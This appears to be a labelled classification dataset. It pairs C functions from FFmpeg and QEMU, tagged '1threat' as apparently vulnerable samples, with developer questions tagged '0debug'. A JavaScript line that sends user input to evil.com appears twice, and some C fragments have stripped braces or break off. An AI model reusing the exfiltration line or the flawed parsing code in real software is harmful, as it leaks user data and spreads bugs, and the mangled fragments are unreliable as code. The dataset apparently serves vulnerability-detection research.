(!got_fmt) { av_log(s, AV_LOG_ERROR, "found no 'fmt ' tag before the 'SMV0' tag\n"); return AVERROR_INVALIDDATA; if (size != MKTAG('0','2','0','0')) { av_log(s, AV_LOG_ERROR, "Unknown SMV version found\n"); goto break_loop; av_log(s, AV_LOG_DEBUG, "Found SMV data\n"); wav->smv_given_first = 0; vst = avformat_new_stream(s, NULL); if (!vst) return AVERROR(ENOMEM); avio_r8(pb); vst->id = 1; vst->codec->codec_type = AVMEDIA_TYPE_VIDEO; vst->codec->codec_id = AV_CODEC_ID_SMVJPEG; vst->codec->width = avio_rl24(pb); vst->codec->height = avio_rl24(pb); if (ff_alloc_extradata(vst->codec, 4)) { av_log(s, AV_LOG_ERROR, "Could not allocate extradata.\n"); return AVERROR(ENOMEM); size = avio_rl24(pb); wav->smv_data_ofs = avio_tell(pb) + (size - 5) * 3; avio_rl24(pb); wav->smv_block_size = avio_rl24(pb); avpriv_set_pts_info(vst, 32, 1, avio_rl24(pb)); vst->duration = avio_rl24(pb); avio_rl24(pb); avio_rl24(pb); wav->smv_frames_per_jpeg = avio_rl24(pb); if (wav->smv_frames_per_jpeg > 65536) { av_log(s, AV_LOG_ERROR, "too many frames per jpeg\n"); return AVERROR_INVALIDDATA; AV_WL32(vst->codec->extradata, wav->smv_frames_per_jpeg); wav->smv_cur_pt = 0; goto break_loop; case MKTAG('L', 'I', 'S', 'T'): if (size < 4) { av_log(s, AV_LOG_ERROR, "too short LIST tag\n"); return AVERROR_INVALIDDATA; switch (avio_rl32(pb)) { case MKTAG('I', 'N', 'F', 'O'): ff_read_riff_info(s, size - 4); break; if ((avio_size(pb) > 0 && next_tag_ofs >= avio_size(pb)) || wav_seek_tag(wav, pb, next_tag_ofs, SEEK_SET) < 0) { break; break_loop: if (data_ofs < 0) { av_log(s, AV_LOG_ERROR, "no 'data' tag found\n"); return AVERROR_INVALIDDATA; avio_seek(pb, data_ofs, SEEK_SET); if ( data_size > 0 && sample_count && st->codec->channels && (data_size << 3) / sample_count / st->codec->channels > st->codec->bits_per_coded_sample) { av_log(s, AV_LOG_WARNING, "ignoring wrong sample_count %"PRId64"\n", sample_count); sample_count = 0; if (!sample_count || av_get_exact_bits_per_sample(st->codec->codec_id) > 0) if ( st->codec->channels && data_size && av_get_bits_per_sample(st->codec->codec_id) && wav->data_end <= avio_size(pb)) sample_count = (data_size << 3) / (st->codec->channels * (uint64_t)av_get_bits_per_sample(st->codec->codec_id)); if (sample_count) st->duration = sample_count; ff_metadata_conv_ctx(s, NULL, wav_metadata_conv); ff_metadata_conv_ctx(s, NULL, ff_riff_info_conv); return 0;
1threat
void css_generate_sch_crws(uint8_t cssid, uint8_t ssid, uint16_t schid, int hotplugged, int add) { uint8_t guest_cssid; bool chain_crw; if (add && !hotplugged) { return; } if (channel_subsys.max_cssid == 0) { guest_cssid = (cssid == channel_subsys.default_cssid) ? 0 : cssid; } else { guest_cssid = cssid; } if ((ssid > channel_subsys.max_ssid) || (guest_cssid > channel_subsys.max_cssid) || ((channel_subsys.max_cssid == 0) && (cssid != channel_subsys.default_cssid))) { return; } chain_crw = (channel_subsys.max_ssid > 0) || (channel_subsys.max_cssid > 0); css_queue_crw(CRW_RSC_SUBCH, CRW_ERC_IPI, chain_crw ? 1 : 0, schid); if (chain_crw) { css_queue_crw(CRW_RSC_SUBCH, CRW_ERC_IPI, 0, (guest_cssid << 8) | (ssid << 4)); } css_clear_io_interrupt(css_do_build_subchannel_id(cssid, ssid), schid); }
1threat
Need to move file names in a directory with path to a file using unix scipt : I tried using cd /data/sources/; ls $PWD/Asset_* >> /data/sources/processing/asset_files.txt; But it works only for small number files not for higher number of files. Please let me know how to do it effectively
0debug
static int vorbis_parse_setup_hdr_floors(vorbis_context *vc) { GetBitContext *gb=&vc->gb; uint_fast16_t i,j,k; vc->floor_count=get_bits(gb, 6)+1; vc->floors=av_mallocz(vc->floor_count * sizeof(vorbis_floor)); for (i=0;i<vc->floor_count;++i) { vorbis_floor *floor_setup=&vc->floors[i]; floor_setup->floor_type=get_bits(gb, 16); AV_DEBUG(" %d. floor type %d \n", i, floor_setup->floor_type); if (floor_setup->floor_type==1) { uint_fast8_t maximum_class=0; uint_fast8_t rangebits; uint_fast16_t floor1_values=2; floor_setup->decode=vorbis_floor1_decode; floor_setup->data.t1.partitions=get_bits(gb, 5); AV_DEBUG(" %d.floor: %d partitions \n", i, floor_setup->data.t1.partitions); for(j=0;j<floor_setup->data.t1.partitions;++j) { floor_setup->data.t1.partition_class[j]=get_bits(gb, 4); if (floor_setup->data.t1.partition_class[j]>maximum_class) maximum_class=floor_setup->data.t1.partition_class[j]; AV_DEBUG(" %d. floor %d partition class %d \n", i, j, floor_setup->data.t1.partition_class[j]); } AV_DEBUG(" maximum class %d \n", maximum_class); floor_setup->data.t1.maximum_class=maximum_class; for(j=0;j<=maximum_class;++j) { floor_setup->data.t1.class_dimensions[j]=get_bits(gb, 3)+1; floor_setup->data.t1.class_subclasses[j]=get_bits(gb, 2); AV_DEBUG(" %d floor %d class dim: %d subclasses %d \n", i, j, floor_setup->data.t1.class_dimensions[j], floor_setup->data.t1.class_subclasses[j]); if (floor_setup->data.t1.class_subclasses[j]) { floor_setup->data.t1.class_masterbook[j]=get_bits(gb, 8); AV_DEBUG(" masterbook: %d \n", floor_setup->data.t1.class_masterbook[j]); } for(k=0;k<(1<<floor_setup->data.t1.class_subclasses[j]);++k) { floor_setup->data.t1.subclass_books[j][k]=(int16_t)get_bits(gb, 8)-1; AV_DEBUG(" book %d. : %d \n", k, floor_setup->data.t1.subclass_books[j][k]); } } floor_setup->data.t1.multiplier=get_bits(gb, 2)+1; floor_setup->data.t1.x_list_dim=2; for(j=0;j<floor_setup->data.t1.partitions;++j) { floor_setup->data.t1.x_list_dim+=floor_setup->data.t1.class_dimensions[floor_setup->data.t1.partition_class[j]]; } floor_setup->data.t1.list=av_mallocz(floor_setup->data.t1.x_list_dim * sizeof(vorbis_floor1_entry)); rangebits=get_bits(gb, 4); floor_setup->data.t1.list[0].x = 0; floor_setup->data.t1.list[1].x = (1<<rangebits); for(j=0;j<floor_setup->data.t1.partitions;++j) { for(k=0;k<floor_setup->data.t1.class_dimensions[floor_setup->data.t1.partition_class[j]];++k,++floor1_values) { floor_setup->data.t1.list[floor1_values].x=get_bits(gb, rangebits); AV_DEBUG(" %d. floor1 Y coord. %d \n", floor1_values, floor_setup->data.t1.list[floor1_values].x); } } ff_vorbis_ready_floor1_list(floor_setup->data.t1.list, floor_setup->data.t1.x_list_dim); } else if(floor_setup->floor_type==0) { uint_fast8_t max_codebook_dim=0; floor_setup->decode=vorbis_floor0_decode; floor_setup->data.t0.order=get_bits(gb, 8); floor_setup->data.t0.rate=get_bits(gb, 16); floor_setup->data.t0.bark_map_size=get_bits(gb, 16); floor_setup->data.t0.amplitude_bits=get_bits(gb, 6); if (floor_setup->data.t0.amplitude_bits == 0) { av_log(vc->avccontext, AV_LOG_ERROR, "Floor 0 amplitude bits is 0.\n"); return 1; } floor_setup->data.t0.amplitude_offset=get_bits(gb, 8); floor_setup->data.t0.num_books=get_bits(gb, 4)+1; floor_setup->data.t0.book_list= av_malloc(floor_setup->data.t0.num_books); if(!floor_setup->data.t0.book_list) { return 1; } { int idx; uint_fast8_t book_idx; for (idx=0;idx<floor_setup->data.t0.num_books;++idx) { book_idx=get_bits(gb, 8); if (book_idx>=vc->codebook_count) return 1; floor_setup->data.t0.book_list[idx]=book_idx; if (vc->codebooks[book_idx].dimensions > max_codebook_dim) max_codebook_dim=vc->codebooks[book_idx].dimensions; } } create_map( vc, i ); { floor_setup->data.t0.lsp= av_malloc((floor_setup->data.t0.order+1 + max_codebook_dim) * sizeof(float)); if(!floor_setup->data.t0.lsp) { return 1; } } #ifdef V_DEBUG AV_DEBUG("floor0 order: %u\n", floor_setup->data.t0.order); AV_DEBUG("floor0 rate: %u\n", floor_setup->data.t0.rate); AV_DEBUG("floor0 bark map size: %u\n", floor_setup->data.t0.bark_map_size); AV_DEBUG("floor0 amplitude bits: %u\n", floor_setup->data.t0.amplitude_bits); AV_DEBUG("floor0 amplitude offset: %u\n", floor_setup->data.t0.amplitude_offset); AV_DEBUG("floor0 number of books: %u\n", floor_setup->data.t0.num_books); AV_DEBUG("floor0 book list pointer: %p\n", floor_setup->data.t0.book_list); { int idx; for (idx=0;idx<floor_setup->data.t0.num_books;++idx) { AV_DEBUG( " Book %d: %u\n", idx+1, floor_setup->data.t0.book_list[idx] ); } } #endif } else { av_log(vc->avccontext, AV_LOG_ERROR, "Invalid floor type!\n"); return 1; } } return 0; }
1threat
how can I select only all done Task in MYSQL? : <p>I am doing a simple task in MYSQL . As Example , There is Jib(jobId) and subjid(subJobId) and UL. SubJobId is a Id refereed to JOBID and each SubJID has a ul field , I Only need those JID(JobId) whose UL is 1, if there is even 1 UL is 0. then it'll ignore.</p> <p>please check the image <a href="https://i.stack.imgur.com/wcUz3.jpg" rel="nofollow noreferrer">enter image description here</a></p>
0debug
Flutter padding for all widgets? : <p>I'm trying to add some padding to the top and bottom of some text and icons in a Card widget. I found that flutter has an easy way to do this for containers, but can't seem to find a way to do this with other widgets (except for wrapping them in a container). This is the code I've got so far:</p> <pre><code> body: new Container( padding: new EdgeInsets.all(10.0), child: new Column( crossAxisAlignment: CrossAxisAlignment.stretch, children: &lt;Widget&gt; [ new Card( color: Colors.white70, child: new Container( padding: new EdgeInsets.all(10.0), child: new Column( mainAxisAlignment: MainAxisAlignment.spaceBetween, crossAxisAlignment: CrossAxisAlignment.center, children: &lt;Widget&gt; [ //Padding between these please new Text("I love Flutter", style: new TextStyle(fontSize: 20.0, fontWeight: FontWeight.bold)), new Icon(Icons.favorite, color: Colors.redAccent, size: 50.0) ] ) ) ) ] ) ) </code></pre> <p>So in my children of column, I'd like to add some padding to the top and bottom without having to insert a new Container. Is this possible?</p>
0debug
How can i SELECT row with max value : ` select NATIONALPLAYERS.FIRSTNAME||' '|| NATIONALPLAYERS.LASTNAME as PlayerName,NATIONALPLAYERS.EXPERIENCEID, experience from NATIONALPLAYERS INNER JOIN (select experienceid, MAX( experiences.nationalgames + experiences.internationalgames ) as experience from experiences group by experiences.EXPERIENCEID)plexperience on plexperience.experienceid = NATIONALPLAYERS.experienceid;` > It displays all the records from "PlayerName", "ExperienceID" and "Experience" even though i asked only for the maximum value of experience.
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
No I want to ask about oracle : Lets say I have three rows with value as 1)121/2808B|:6081 2)OD308B|:6081_1: 3)008312100001200. I want to display value only till 'B' but want to exclude after B as you can see in above eg from 121/2808B|:6081 I want only 121/2808B OD308B|:6081_1: only OD308B and 008312100001200|:6081_1 only 008312100001200. Thanks for the Help.
0debug
Is not saving an object instance in Java considered bad practice or totally not? : <p>ex.</p> <pre><code>new SportsCar().drive(); </code></pre> <p>vs.</p> <pre><code>SportsCar sc = new SportsCar(); sc.drive(); </code></pre> <p>assuming that you have no reason at the moment why you would need to use the instance of SportsCar again? </p>
0debug
how to write rest service using @beanparam and @Get mthod : <p>Please help me to write rest webservice using below class and @beanparam and @Get method</p> <pre><code> @QueryParam("prop1") public String prop1; @QueryParam("prop2") public String prop2; @QueryParam("prop3") public String prop3; @QueryParam("prop4") public String prop4; </code></pre>
0debug
angular install cli errno -13 : <p>i am trying to install npm install -g @angular/cli and i get this error </p> <pre><code>npm WARN checkPermissions Missing write access to /usr/local/lib/node_modules npm ERR! path /usr/local/lib/node_modules npm ERR! code EACCES npm ERR! errno -13 npm ERR! syscall access npm ERR! Error: EACCES: permission denied, access '/usr/local/lib/node_modules' npm ERR! { Error: EACCES: permission denied, access '/usr/local/lib/node_modules' npm ERR! stack: 'Error: EACCES: permission denied, access \'/usr/local/lib/node_modules\'', npm ERR! errno: -13, npm ERR! code: 'EACCES', npm ERR! syscall: 'access', npm ERR! path: '/usr/local/lib/node_modules' } npm ERR! npm ERR! The operation was rejected by your operating system. npm ERR! It is likely you do not have the permissions to access this file as the current user npm ERR! npm ERR! If you believe this might be a permissions issue, please double-check the npm ERR! permissions of the file and its containing directories, or try running npm ERR! the command again as root/Administrator (though this is not recommended). npm ERR! A complete log of this run can be found in: npm ERR! /Users/admin/.npm/_logs/2019-08-04T05_20_10_235Z-debug.log </code></pre> <p>Tried following Commands repeatedly still did not worked.</p> <p>1- i uninstall nodejs and reinstall old version </p> <pre><code>~ brew uninstall node ~ which node ~ rm -rf /usr/local/bin/node ~cd /usr/local/lib ~ sudo rm -rf node ~ sudo rm -rf node_modules </code></pre> <p>2- clean cash</p> <pre><code>~ npm cache verify --force ~ npm cache clear --force ~ npm uninstall -g @angular/cli ~ npm install -g @angular/cli </code></pre> <p>node version v8.16.0</p> <p>npm version 6.4.1</p>
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
ES6/ES2015 object destructuring and changing target variable : <p>How can I rename the target during object destructing?</p> <pre><code>const b = 6; const test = { a: 1, b: 2 }; const {a, b as c} = test; // &lt;-- `as` does not seem to be valid in ES6/ES2015 // a === 1 // b === 6 // c === 2 </code></pre>
0debug
fetch sub-string using regex : <p><code>string subject = "Re: Customer request [#11#]";</code></p> <p>I want to fetch <strong>[#11#]</strong> from the above string. At run time instead of 11 there can be any number e.g. 12,13,14 etc. </p> <p>Please suggest me appropriate Regex to fetch this output.</p>
0debug
CPP - End While loop for character substitution : This is taken out from Keyshanc Encryption Algorithm. https://github.com/Networc/keyshanc My question is: How can I possibly manipulate this main method for having multiple encryption outputs with the keys chosen from the password array? I am not able to break out of the encoding loop right at the end. int main() { string password[]={"JaneAusten","MarkTwain","CharlesDickens","ArthurConanDoyle"}; for(int i=0;i<4;++i) { char keys[95]; keyshanc(keys, password[i]); char inputChar, trueChar=NULL; cout << "Enter characters to test the encoding; enter # to quit:\n"; cin>>inputChar; for (int x=0; x < 95; ++x) { if (keys[x] == inputChar) { trueChar = char(x+32); break; } } while (inputChar != '#') { cout<<trueChar; cin>>inputChar; for (int x=0; x < 95; ++x) { if (keys[x] == inputChar) { trueChar = char(x+32); break; } } } return 0; }
0debug
Persisting AppBar Drawer across all Pages Flutter : <p>I am trying to create a uniform drawer that is accessible across all pages in my app. How do I make it persist throughout all these pages without having to recreate my custom Drawer widget in every single dart file?</p>
0debug
Adding a warning label or any kind of message when user clicks on show code : <p>Assuming I know what browser-version is being used,is it possible for me to add a message when a user tries to see the code or uses the Ctrl U short-cut? Any kind of message is fine. Sorry for being so broad,kind of new to this.. </p>
0debug
How to get Keycloak users via REST without admin account : <p>Is there a way to get a list of users on a Keycloak realm via REST <strong>WITHOUT</strong> using an admin account? Maybe some sort of assignable role from the admin console? Looking for any ideas.</p> <p>Right now I'm using admin credentials to grab an access token, then using that token to pull users from the <code>realm/users</code> endpoint.</p> <p>Getting the token (from node.js app via <code>request</code>):</p> <pre><code>uri: `${keycloakUri}/realms/master/protocol/openid-connect/token`, form: { grant_type: 'password', client_id: 'admin-cli', username: adminUsername, password: adminPassword, } </code></pre> <p>Using the token:</p> <pre><code>uri: `${keycloakUri}/admin/realms/${keycloakRealm}/users`, headers: { 'authorization': `bearer ${passwordGrantToken}`, } </code></pre> <p>I want to be able to use generic user info (usernames, emails, fullnames) from a client application.</p>
0debug
static void apply_independent_coupling_fixed(AACContext *ac, SingleChannelElement *target, ChannelElement *cce, int index) { int i, c, shift, round, tmp; const int gain = cce->coup.gain[index][0]; const int *src = cce->ch[0].ret; int *dest = target->ret; const int len = 1024 << (ac->oc[1].m4ac.sbr == 1); c = cce_scale_fixed[gain & 7]; shift = (gain-1024) >> 3; if (shift < 0) { shift = -shift; round = 1 << (shift - 1); for (i = 0; i < len; i++) { tmp = (int)(((int64_t)src[i] * c + (int64_t)0x1000000000) >> 37); dest[i] += (tmp + round) >> shift; } } else { for (i = 0; i < len; i++) { tmp = (int)(((int64_t)src[i] * c + (int64_t)0x1000000000) >> 37); dest[i] += tmp << shift; } } }
1threat
in a C# script, i am getting object reference : <p>How to clear the object reference is required error? the script which i am using is coming up with the error that an object reference is required though i am trying to eliminating it by making it static but it isn't working out. can anyone please help me out? do anyswer quickly because i have to finish up this project and move on. <a href="https://i.stack.imgur.com/kjH1X.png" rel="nofollow noreferrer">the image shows my script which is having the error object reference is required. can anyone help me clear that error please?</a></p>
0debug
EF Core 1.0 - Include() generates more than one queries : <p>I am using EF 7.0.0-rc1-final.</p> <p>The following statement generates multiple queries on the server. Is this normal or I am missing something ?</p> <pre><code>Group myGroup = dbContext_ .Set&lt;Group&gt;() .Include(x =&gt; x.GroupRoles) .ThenInclude(x =&gt; x.Role) .FirstOrDefault(x =&gt; x.Name == "Approver"); </code></pre> <p>I see two separate queries executed on the server:</p> <p><a href="https://i.stack.imgur.com/VD77x.png" rel="noreferrer"><img src="https://i.stack.imgur.com/VD77x.png" alt="Query 1"></a></p> <p>And</p> <p><a href="https://i.stack.imgur.com/RY8de.png" rel="noreferrer"><img src="https://i.stack.imgur.com/RY8de.png" alt="Query 2"></a></p> <p>It's a standard many-to-many scenario. Why is the first query ?</p> <p>Thanks</p>
0debug
_syscall3(int,sys_faccessat,int,dirfd,const char *,pathname,int,mode) #endif #if defined(TARGET_NR_fchmodat) && defined(__NR_fchmodat) _syscall3(int,sys_fchmodat,int,dirfd,const char *,pathname, mode_t,mode) #endif #if defined(TARGET_NR_fchownat) && defined(__NR_fchownat) && defined(USE_UID16) _syscall5(int,sys_fchownat,int,dirfd,const char *,pathname, uid_t,owner,gid_t,group,int,flags) #endif #if (defined(TARGET_NR_fstatat64) || defined(TARGET_NR_newfstatat)) && \ defined(__NR_fstatat64) _syscall4(int,sys_fstatat64,int,dirfd,const char *,pathname, struct stat *,buf,int,flags) #endif #if defined(TARGET_NR_futimesat) && defined(__NR_futimesat) _syscall3(int,sys_futimesat,int,dirfd,const char *,pathname, const struct timeval *,times) #endif #if (defined(TARGET_NR_newfstatat) || defined(TARGET_NR_fstatat64) ) && \ defined(__NR_newfstatat) _syscall4(int,sys_newfstatat,int,dirfd,const char *,pathname, struct stat *,buf,int,flags) #endif #if defined(TARGET_NR_linkat) && defined(__NR_linkat) _syscall5(int,sys_linkat,int,olddirfd,const char *,oldpath, int,newdirfd,const char *,newpath,int,flags) #endif #if defined(TARGET_NR_mkdirat) && defined(__NR_mkdirat) _syscall3(int,sys_mkdirat,int,dirfd,const char *,pathname,mode_t,mode) #endif #if defined(TARGET_NR_mknodat) && defined(__NR_mknodat) _syscall4(int,sys_mknodat,int,dirfd,const char *,pathname, mode_t,mode,dev_t,dev) #endif #if defined(TARGET_NR_openat) && defined(__NR_openat) _syscall4(int,sys_openat,int,dirfd,const char *,pathname,int,flags,mode_t,mode) #endif #if defined(TARGET_NR_readlinkat) && defined(__NR_readlinkat) _syscall4(int,sys_readlinkat,int,dirfd,const char *,pathname, char *,buf,size_t,bufsize) #endif #if defined(TARGET_NR_renameat) && defined(__NR_renameat) _syscall4(int,sys_renameat,int,olddirfd,const char *,oldpath, int,newdirfd,const char *,newpath) #endif #if defined(TARGET_NR_symlinkat) && defined(__NR_symlinkat) _syscall3(int,sys_symlinkat,const char *,oldpath, int,newdirfd,const char *,newpath) #endif #if defined(TARGET_NR_unlinkat) && defined(__NR_unlinkat) _syscall3(int,sys_unlinkat,int,dirfd,const char *,pathname,int,flags) #endif #if defined(TARGET_NR_utimensat) && defined(__NR_utimensat) _syscall4(int,sys_utimensat,int,dirfd,const char *,pathname, const struct timespec *,tsp,int,flags) #endif #endif #ifdef CONFIG_INOTIFY #include <sys/inotify.h> #if defined(TARGET_NR_inotify_init) && defined(__NR_inotify_init) static int sys_inotify_init(void) { return (inotify_init()); }
1threat
static void arm_thiswdog_write(void *opaque, target_phys_addr_t addr, uint64_t value, unsigned size) { arm_mptimer_state *s = (arm_mptimer_state *)opaque; int id = get_current_cpu(s); timerblock_write(&s->timerblock[id * 2 + 1], addr, value, size); }
1threat
Run different code based type c# : I want to call a method for my WPF-App with subtype objects of my *Piece* class. My problem is that the subtype objects got more properties than e.g the the *Text* objects. Do you know a way to coupe with this better than I do in my *FillForm* example? namespace Namespace { public abstract class Piece { public int id { get; set; } public string title { get; set; } public string description { get; set; } } public class Text : Piece { } public class Image: Piece{ public string filePath { get; set; } public string fileformat { get; set; } } public class Video : Image { } } } Example method: public void FillForm(Piece currentPiece) { pieceIdTextBox.Text = currentPiece.id.ToString(); pieceNameTextBox.Text = currentPiece.title; pieceDescriptionTextBox.Text = currentPiece.description; if (!currentPiece.GetType().ToString().Equals("Namespace.Text")) { pieceFileSelectURLTextBlock.Text = (currentPiece as Namespace.Image).filePath; SetPreviews((currentPiece as Namespace.Image).filePath); } } Thanks!
0debug
static av_cold int twin_decode_init(AVCodecContext *avctx) { int ret; TwinContext *tctx = avctx->priv_data; int isampf, ibps; tctx->avctx = avctx; avctx->sample_fmt = AV_SAMPLE_FMT_FLTP; if (!avctx->extradata || avctx->extradata_size < 12) { av_log(avctx, AV_LOG_ERROR, "Missing or incomplete extradata\n"); return AVERROR_INVALIDDATA; } avctx->channels = AV_RB32(avctx->extradata ) + 1; avctx->bit_rate = AV_RB32(avctx->extradata + 4) * 1000; isampf = AV_RB32(avctx->extradata + 8); switch (isampf) { case 44: avctx->sample_rate = 44100; break; case 22: avctx->sample_rate = 22050; break; case 11: avctx->sample_rate = 11025; break; default: avctx->sample_rate = isampf * 1000; break; } if (avctx->channels > CHANNELS_MAX) { av_log(avctx, AV_LOG_ERROR, "Unsupported number of channels: %i\n", avctx->channels); return -1; } ibps = avctx->bit_rate / (1000 * avctx->channels); switch ((isampf << 8) + ibps) { case (8 <<8) + 8: tctx->mtab = &mode_08_08; break; case (11<<8) + 8: tctx->mtab = &mode_11_08; break; case (11<<8) + 10: tctx->mtab = &mode_11_10; break; case (16<<8) + 16: tctx->mtab = &mode_16_16; break; case (22<<8) + 20: tctx->mtab = &mode_22_20; break; case (22<<8) + 24: tctx->mtab = &mode_22_24; break; case (22<<8) + 32: tctx->mtab = &mode_22_32; break; case (44<<8) + 40: tctx->mtab = &mode_44_40; break; case (44<<8) + 48: tctx->mtab = &mode_44_48; break; default: av_log(avctx, AV_LOG_ERROR, "This version does not support %d kHz - %d kbit/s/ch mode.\n", isampf, isampf); return -1; } ff_dsputil_init(&tctx->dsp, avctx); avpriv_float_dsp_init(&tctx->fdsp, avctx->flags & CODEC_FLAG_BITEXACT); if ((ret = init_mdct_win(tctx))) { av_log(avctx, AV_LOG_ERROR, "Error initializing MDCT\n"); twin_decode_close(avctx); return ret; } init_bitstream_params(tctx); memset_float(tctx->bark_hist[0][0], 0.1, FF_ARRAY_ELEMS(tctx->bark_hist)); avcodec_get_frame_defaults(&tctx->frame); avctx->coded_frame = &tctx->frame; return 0; }
1threat